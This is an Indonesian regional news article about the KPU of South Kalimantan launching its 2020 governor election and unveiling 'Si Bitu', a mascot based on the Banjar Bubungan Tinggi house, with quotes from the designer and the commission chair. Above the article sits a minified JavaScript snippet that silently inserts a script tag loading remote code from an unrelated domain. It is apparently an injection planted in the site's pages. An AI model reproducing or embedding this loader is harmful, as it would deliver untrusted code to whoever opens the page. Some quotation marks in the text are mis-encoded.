(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, KPU Provinsi Kalsel secara resmi meluncurkan Pemilihan Gubernur dan Wakil Gubernur Kalsel 2020 di Rattan Inn Banjarmasin, Minggu (22/10) malam. Tak hanya itu, KPU Kalsel juga memperkenalkan maskot baru pada Pilgub 2020 mendatang, yaitu Si Bitu, yang merupakan akronim dari Si Bubungan Tinggi, rumah adat khas Banjar yang menjadi tempat tinggal para Raja Banjar.
Ikon ini merupakan hasil tangan dingin Usman Effendi, warga Karang Anyar Kabupaten Banjar. Dirinya berhasil memenangkan hadiah sebesar Rp7 juta pada sayembara maskot yang diselenggarakan KPU Provinsi Kalsel, dengan memperoleh posisi Terbaik I.
Menurut Usman, ada filosofi yang diangkat dari ornament-ornamen khas Banjar yang ada di rumah Bubungan Tinggi.
“Kami sisipkan ada ornament pucuk terapung, sama dengan artinya tolak bala. Harapannya, mudah-mudahan dengan mascot ini untuk Pilgub Kalsel berjalan aman sesuai dari filosofi,†kata Usman, Minggu (22/10).
Ditambahkannya, Bubungan Tinggi yang merupakan rumah adat khas Banjar yang menjadi kediaman Raja Banjar, yang disamakan dengan pemimpin utama suatu daerah. Selain itu, Usman tidak menampik, keberadaan rumah adat Banjar yang menjadi cagar budaya di Teluk Selong Martapura menjadi inspirasinya dalam mendesain mascot ini.
“Kita anggap sama dengan Gubernur,†kata Usman yang mengerjakan desain mascot ini selama dua bulan lamanya.
Usman sendiri mengaku bersyukur mendapat apresiasi luar biasa dari KPU Provinsi Kalsel. Karena, selain memperoleh juara terbaik, mascot hasil tangan dinginnya pun digunakan sebagai mascot Pilgub Kalsel 2020. “Alhamdulillah, untuk rumah adat Banjar bisa jadi mascot untuk KPU Kalsel,†pungkasnya.
Sementara itu, Ketua KPU Provinsi Kalsel Sarmuji mengatakan, dari setiap Pilgub yang digelar, KPU Provinsi Kalsel telah memiliki mascot masing-masing, di mana di tahun 2010 mengusung mascot kotak rumah Banjar. “Kemudian di tahun 2015 kita menggunakan mascot bekantan. Dan di tahun 2020 kita mengambil filosofi rumah Banjar,†kata Sarmuji.
Lantas, mengapa rumah adat Banjar Bubungan Tinggi menjadi pilihan KPU Provinsi Kalsel untuk diusung pada Pilgub 2020 mendatang? “Itu tempat rumah Banjar asli, di mana dahulu tempat (tinggal) raja Banjar. Sekarang kita ambil filosofi ini rumah Banjar, di mana Kantor Pemprov Kalsel itu rumah Banjar yang di Banjarbaru. Nanti pemimpin kita berada di sana untuk membangun Kalsel,†pungkas Sarmuji. (fikri)
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersilaturahmi dengan masyarakat Desa Tumbang… Read More
KANALKALIMANTAN.COM, AMUNTAI - Setelah program non fisik sosialisasi PHBS (Perilaku Hidup bersih Sehat) dan masalah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More
This website uses cookies.